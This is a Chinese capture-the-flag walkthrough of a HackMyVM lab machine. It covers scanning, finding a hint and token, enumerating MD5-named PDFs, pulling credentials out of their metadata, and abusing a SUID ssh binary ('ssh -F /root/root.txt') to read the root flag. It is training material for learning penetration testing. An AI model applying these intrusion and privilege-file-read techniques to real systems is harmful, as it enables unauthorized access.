

# 信息收集

## 主机发现

```
└──(root㉿xhh)-[~/Desktop/xhh/HMV/pdf]
└# arp-scan -I eth1 -l
Interface: eth1, type: EN10MB, MAC: 00:0c:29:78:b2:ba, IPv4: 192.168.56.247
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.56.1    0a:00:27:00:00:13      (Unknown: locally administered)
192.168.56.100  08:00:27:57:0f:fd      PCS Systemtechnik GmbH
192.168.56.143  08:00:27:14:dd:c6      PCS Systemtechnik GmbH

3 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 1.966 seconds (130.21 hosts/sec). 3
responded
```

## 端口扫描

```
└──(root㉿xhh)-[~/Desktop/xhh/HMV/pdf]
└# nmap -p- 192.168.56.143
Starting Nmap 7.95 ( https://nmap.org ) at 2026-01-14 21:16 CST
Nmap scan report for 192.168.56.143 (192.168.56.143)
Host is up (0.00054s latency).

Not shown: 65532 closed tcp ports (reset)

PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
8080/tcp  open  http-proxy

MAC Address: 08:00:27:14:DD:C6 (PCS Systemtechnik/oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 2.85 seconds
```

## Web --- 80 && 8080

80端口的主界面是pdf的介绍吧

# The Evolution of PDF

From a proprietary format to the universal standard for document exchange

1993 - Present Day

## What is PDF?

8080端口是一个需要提交token的界面

### File Management System

Enter the access token to unlock the system.

Submit

## 目录枚举

用dirsearch对80和8080枚举无果后，查看源代码发现hint

```
320             <i class="fa fa-gavel text-accent mt-1 mr-3"></i>
321             <span>Government forms and official publications</span>
322         </li>
323         <li class="flex items-start">
324             <i class="fa fa-shopping-cart text-accent mt-1 mr-3"></i>
325             <span>E-commerce invoices and product manuals</span>
326         </li>
327     </ul>
328     <p>
329         As digital transformation accelerates, PDF continues to adapt, ensuring its relevance in an
330         </p>
331     </div>
332     </div>
333 </div>
334 </section>
335 </main>
336
337 <!-- Footer -->
338 <!-- hint: .txt -->
339 <footer class="bg-secondary text-white py-12">
340     <div class="container mx-auto px-4">
341         <div class="max-w-4xl mx-auto text-center">
342             <div class="flex items-center justify-center space-x-2 mb-6">
343                 <a href="#" class="text-primary text-2xl" href="#">PDF
344             </div>
345         </div>
346     </div>
347 </footer>
```

是用gobuster扫描txt文件

```
└──(root㉿xhh)-[~/Desktop/xhh/HMV/pdf]
└# gobuster dir -w /usr/share/seclists/Discovery/Web-Content/raft-medium-
directories-lowercase.txt -u http://192.168.56.143/ -x txt
=====
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
=====
[+] Url:          http://192.168.56.143/
[+] Method:       GET
[+] Threads:      10
[+] Wordlist:     /usr/share/seclists/Discovery/Web-Content/raft-
medium-directories-lowercase.txt
[+] Negative Status codes: 404
[+] User Agent:   gobuster/3.8
[+] Extensions:  txt
[+] Timeout:      10s
=====
Starting gobuster in directory enumeration mode
=====
/server-status      (Status: 403) [size: 279]
/hint.txt           (Status: 200) [size: 44]
Progress: 53166 / 53166 (100.00%)
=====
Finished
=====
```

发现一个hint.txt

```
└──(root㉿xhh)-[~/Desktop/xhh/HMV/pdf]
└# curl 192.168.56.143/hint.txt
what's the ultimate answer to the universe?
#宇宙的终极答案是什么?
#网上一检索就可以等到数字为42
```

## 系统后台

输入42进入后台，发现是一个pdf查看器？

A screenshot of a web browser window titled "File Management System". The URL is 192.168.56.143:8080. The page displays a "Document Viewer" section containing a PDF with the text: "File Management System", "Document Number: 1", and "Corporate document archive.". Above the viewer, there is a search bar with placeholder text "Enter filename (e.g., c4ca4238a0b923820dcc509a6f75849b.pdf)" and a blue "View" button.

## To welcome

发现例子的文件名是经过md5加密的，看一下原名是什么

A screenshot of a hash cracking tool. It shows a text input field containing the hash "c4ca4238a0b923820dcc509a6f75849b". To the right is a reCAPTCHA verification box. Below the input field is a table with one row:

Hash	Type	Result
c4ca4238a0b923820dcc509a6f75849b	md5	1

Color Codes: Green: Exact match, Yellow: Partial match, Red: Not found.

获得的结果和pdf上的number一致

写个脚本测试并获取所有pdf，查看隐藏信息

```
—(root@xhh)-[~/Desktop/xhh/HMV/pdf]
└# bash test.sh -u http://192.168.56.143:8080/view/ -n 100 -o ./allpdf
第 1 次请求完成: http://192.168.56.143:8080/view//c4ca4238a0b923820dcc509a6f75849b
-> 保存至 ./allpdf/c4ca4238a0b923820dcc509a6f75849b.pdf
第 2 次请求完成: http://192.168.56.143:8080/view//c81e728d9d4c2f636f067f89cc14862c
-> 保存至 ./allpdf/c81e728d9d4c2f636f067f89cc14862c.pdf
第 3 次请求完成: http://192.168.56.143:8080/view//eccbc87e4b5ce2fe28308fd9f2a7baf3
-> 保存至 ./allpdf/eccbc87e4b5ce2fe28308fd9f2a7baf3.pdf
第 4 次请求完成: http://192.168.56.143:8080/view//a87ff679a2f3e71d9181a67b7542122c
-> 保存至 ./allpdf/a87ff679a2f3e71d9181a67b7542122c.pdf
第 5 次请求完成: http://192.168.56.143:8080/view//e4da3b7fbbce2345d7772b0674a318d5
-> 保存至 ./allpdf/e4da3b7fbbce2345d7772b0674a318d5.pdf
第 6 次请求完成: http://192.168.56.143:8080/view//1679091c5a880faf6fb5e6087eb1b2dc
-> 保存至 ./allpdf/1679091c5a880faf6fb5e6087eb1b2dc.pdf
第 7 次请求完成: http://192.168.56.143:8080/view//8f14e45fceea167a5a36dedd4bea2543
-> 保存至 ./allpdf/8f14e45fceea167a5a36dedd4bea2543.pdf
```

第 8 次请求完成: <http://192.168.56.143:8080/view//c9f0f895fb98ab9159f51fd0297e236d>  
-> 保存至 ./allpdf/c9f0f895fb98ab9159f51fd0297e236d.pdf

第 9 次请求完成: <http://192.168.56.143:8080/view//45c48cce2e2d7fbdea1afc51c7c6ad26>  
-> 保存至 ./allpdf/45c48cce2e2d7fbdea1afc51c7c6ad26.pdf

第 10 次请求完成: <http://192.168.56.143:8080/view//d3d9446802a44259755d38e6d163e820>  
-> 保存至 ./allpdf/d3d9446802a44259755d38e6d163e820.pdf

第 11 次请求完成: <http://192.168.56.143:8080/view//6512bd43d9caa6e02c990b0a82652dca>  
-> 保存至 ./allpdf/6512bd43d9caa6e02c990b0a82652dca.pdf

第 12 次请求完成: <http://192.168.56.143:8080/view//c20ad4d76fe97759aa27a0c99bff6710>  
-> 保存至 ./allpdf/c20ad4d76fe97759aa27a0c99bff6710.pdf

第 13 次请求完成: <http://192.168.56.143:8080/view//c51ce410c124a10e0db5e4b97fc2af39>  
-> 保存至 ./allpdf/c51ce410c124a10e0db5e4b97fc2af39.pdf

第 14 次请求完成: <http://192.168.56.143:8080/view//aab3238922bcc25a6f606eb525ffdc56>  
-> 保存至 ./allpdf/aab3238922bcc25a6f606eb525ffdc56.pdf

第 15 次请求完成: <http://192.168.56.143:8080/view//9bf31c7ff062936a96d3c8bd1f8f2ff3>  
-> 保存至 ./allpdf/9bf31c7ff062936a96d3c8bd1f8f2ff3.pdf

第 16 次请求完成: <http://192.168.56.143:8080/view//c74d97b01eae257e44aa9d5bade97baf>  
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第 17 次请求完成: <http://192.168.56.143:8080/view//70efdf2ec9b086079795c442636b55fb>  
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第 19 次请求完成: <http://192.168.56.143:8080/view//1f0e3dad99908345f7439f8ffabdfffc4>  
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第 20 次请求完成: <http://192.168.56.143:8080/view//98f13708210194c475687be6106a3b84>  
-> 保存至 ./allpdf/98f13708210194c475687be6106a3b84.pdf

第 21 次请求完成: <http://192.168.56.143:8080/view//3c59dc048e8850243be8079a5c74d079>  
-> 保存至 ./allpdf/3c59dc048e8850243be8079a5c74d079.pdf

第 22 次请求完成: <http://192.168.56.143:8080/view//b6d767d2f8ed5d21a44b0e5886680cb9>  
-> 保存至 ./allpdf/b6d767d2f8ed5d21a44b0e5886680cb9.pdf

第 23 次请求完成: <http://192.168.56.143:8080/view//37693cfc748049e45d87b8c7d8b9aacd>  
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第 24 次请求完成: <http://192.168.56.143:8080/view//1ff1de774005f8da13f42943881c655f>  
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第 25 次请求完成: <http://192.168.56.143:8080/view//8e296a067a37563370ded05f5a3bf3ec>  
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第 26 次请求完成: <http://192.168.56.143:8080/view//4e732ced3463d06de0ca9a15b6153677>  
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第 62 次请求完成: http://192.168.56.143:8080/view//44f683a84163b3523afe57c2e008bc8c  
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第 63 次请求完成: http://192.168.56.143:8080/view//03afdbd66e7929b125f8597834fa83a4  
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第 65 次请求完成: http://192.168.56.143:8080/view//fc490ca45c00b1249bbe3554a4fdf6fb  
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第 68 次请求完成: http://192.168.56.143:8080/view//a3f390d88e4c41f2747bfa2f1b5f87db  
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第 76 次请求完成: http://192.168.56.143:8080/view//fb7939d674997cdb4692d34de8633c4  
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第 77 次请求完成: http://192.168.56.143:8080/view//28dd2c7955ce926456240b2ff0100bde  
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第 78 次请求完成: http://192.168.56.143:8080/view//35f4a8d465e6e1edc05f3d8ab658c551  
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第 79 次请求完成: http://192.168.56.143:8080/view//d1fe173d08e959397adf34b1d77e88d7  
-> 保存至 ./allpdf/d1fe173d08e959397adf34b1d77e88d7.pdf

第 80 次请求完成: http://192.168.56.143:8080/view//f033ab37c30201f73f142449d037028d  
-> 保存至 ./allpdf/f033ab37c30201f73f142449d037028d.pdf

第 81 次请求完成: http://192.168.56.143:8080/view//43ec517d68b6edd3015b3edc9a11367b  
-> 保存至 ./allpdf/43ec517d68b6edd3015b3edc9a11367b.pdf

第 82 次请求完成: http://192.168.56.143:8080/view//9778d5d219c5080b9a6a17bef029331c  
-> 保存至 ./allpdf/9778d5d219c5080b9a6a17bef029331c.pdf

第 83 次请求完成: http://192.168.56.143:8080/view//fe9fc289c3ff0af142b6d3bead98a923  
-> 保存至 ./allpdf/fe9fc289c3ff0af142b6d3bead98a923.pdf

第 84 次请求完成: http://192.168.56.143:8080/view//68d30a9594728bc39aa24be94b319d21  
-> 保存至 ./allpdf/68d30a9594728bc39aa24be94b319d21.pdf

第 85 次请求完成: http://192.168.56.143:8080/view//3ef815416f775098fe977004015c6193  
-> 保存至 ./allpdf/3ef815416f775098fe977004015c6193.pdf

第 86 次请求完成: http://192.168.56.143:8080/view//93db85ed909c13838ff95ccfa94cebd9  
-> 保存至 ./allpdf/93db85ed909c13838ff95ccfa94cebd9.pdf

第 87 次请求完成: http://192.168.56.143:8080/view//c7e1249ffc03eb9ded908c236bd1996d  
-> 保存至 ./allpdf/c7e1249ffc03eb9ded908c236bd1996d.pdf

第 88 次请求完成: http://192.168.56.143:8080/view//2a38a4a9316c49e5a833517c45d31070  
-> 保存至 ./allpdf/2a38a4a9316c49e5a833517c45d31070.pdf

```

第 89 次请求完成: http://192.168.56.143:8080/view//7647966b7343c29048673252e490f736
-> 保存至 ./allpdf/7647966b7343c29048673252e490f736.pdf
第 90 次请求完成: http://192.168.56.143:8080/view//8613985ec49eb8f757ae6439e879bb2a
-> 保存至 ./allpdf/8613985ec49eb8f757ae6439e879bb2a.pdf
第 91 次请求完成: http://192.168.56.143:8080/view//54229abfcfa5649e7003b83dd4755294
-> 保存至 ./allpdf/54229abfcfa5649e7003b83dd4755294.pdf
第 92 次请求完成: http://192.168.56.143:8080/view//92cc227532d17e56e07902b254dfad10
-> 保存至 ./allpdf/92cc227532d17e56e07902b254dfad10.pdf
第 93 次请求完成: http://192.168.56.143:8080/view//98dce83da57b0395e163467c9dae521b
-> 保存至 ./allpdf/98dce83da57b0395e163467c9dae521b.pdf
第 94 次请求完成: http://192.168.56.143:8080/view//f4b9ec30ad9f68f89b29639786cb62ef
-> 保存至 ./allpdf/f4b9ec30ad9f68f89b29639786cb62ef.pdf
第 95 次请求完成: http://192.168.56.143:8080/view//812b4ba287f5ee0bc9d43bbf5bbe87fb
-> 保存至 ./allpdf/812b4ba287f5ee0bc9d43bbf5bbe87fb.pdf
第 96 次请求完成: http://192.168.56.143:8080/view//26657d5ff9020d2abefe558796b99584
-> 保存至 ./allpdf/26657d5ff9020d2abefe558796b99584.pdf
第 97 次请求完成: http://192.168.56.143:8080/view//e2ef524fbf3d9fe611d5a8e90fefdc9c
-> 保存至 ./allpdf/e2ef524fbf3d9fe611d5a8e90fefdc9c.pdf
第 98 次请求完成: http://192.168.56.143:8080/view//ed3d2c21991e3bef5e069713af9fa6ca
-> 保存至 ./allpdf/ed3d2c21991e3bef5e069713af9fa6ca.pdf
第 99 次请求完成: http://192.168.56.143:8080/view//ac627ab1ccbdb62ec96e702f07f6425b
-> 保存至 ./allpdf/ac627ab1ccbdb62ec96e702f07f6425b.pdf
第 100 次请求完成:
http://192.168.56.143:8080/view//f899139df5e1059396431415e770c6dd -> 保存至
./allpdf/f899139df5e1059396431415e770c6dd.pdf
[-]全部请求执行完成! 共执行 100 次, 文件均保存在 ./allpdf

```

通过对这些文件的隐藏信息查看后发现, welcome的登录凭证

```

└──(root@xhh)-[~/.../xhh/HMV/pdf/allpdf]
└# exiftool * | grep -v -E 'File Name|Title|pdf' | sort -u
 100 image files read
Author : welcome:lamar57
Create Date : 2026:01:14 08:15:37
Directory : .
ExifTool Version Number : 13.25
File Access Date/Time : 2026:01:14 22:29:38+08:00
File Access Date/Time : 2026:01:14 22:30:41+08:00
File Inode Change Date/Time : 2026:01:14 22:26:41+08:00
File Modification Date/Time : 2026:01:14 22:26:41+08:00
File Permissions : -rw-r--r--
File Size : 1191 bytes
File Size : 1192 bytes
File Size : 1193 bytes
File Size : 1194 bytes
File Size : 1219 bytes
File Type : PDF
Linearized : No
Modify Date : 2026:01:14 08:15:37
PDF Version : 1.3
Page Count : 1
Producer : FPDF 1.7
Subject : File Management System Document

```

## To root

常规查看发现有个ssh

```
welcome@pdf:~$ find / -user root -perm -4000 2>/dev/null
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/ssh
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/mount
/usr/bin/su
/usr/bin/umount
/usr/bin/pkexec
/usr/bin/sudo
/usr/bin/passwd
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/libexec/polkit-agent-helper-1
```

有读文件的方案没有提权的方案，从其他WP得知root密码是57

### **user.txt && root.txt**

```
welcome@pdf:~$ cat user.txt
flag{user-8d8b7d129eff7655df8d68bc7c23bfde}
welcome@pdf:~$ ssh -F /root/root.txt root@127.0.0.1
/root/root.txt: line 1: Bad configuration option: flag{root-
21d72a06840925613b0ea50e84587620}
/root/root.txt: terminating, 1 bad configuration options
```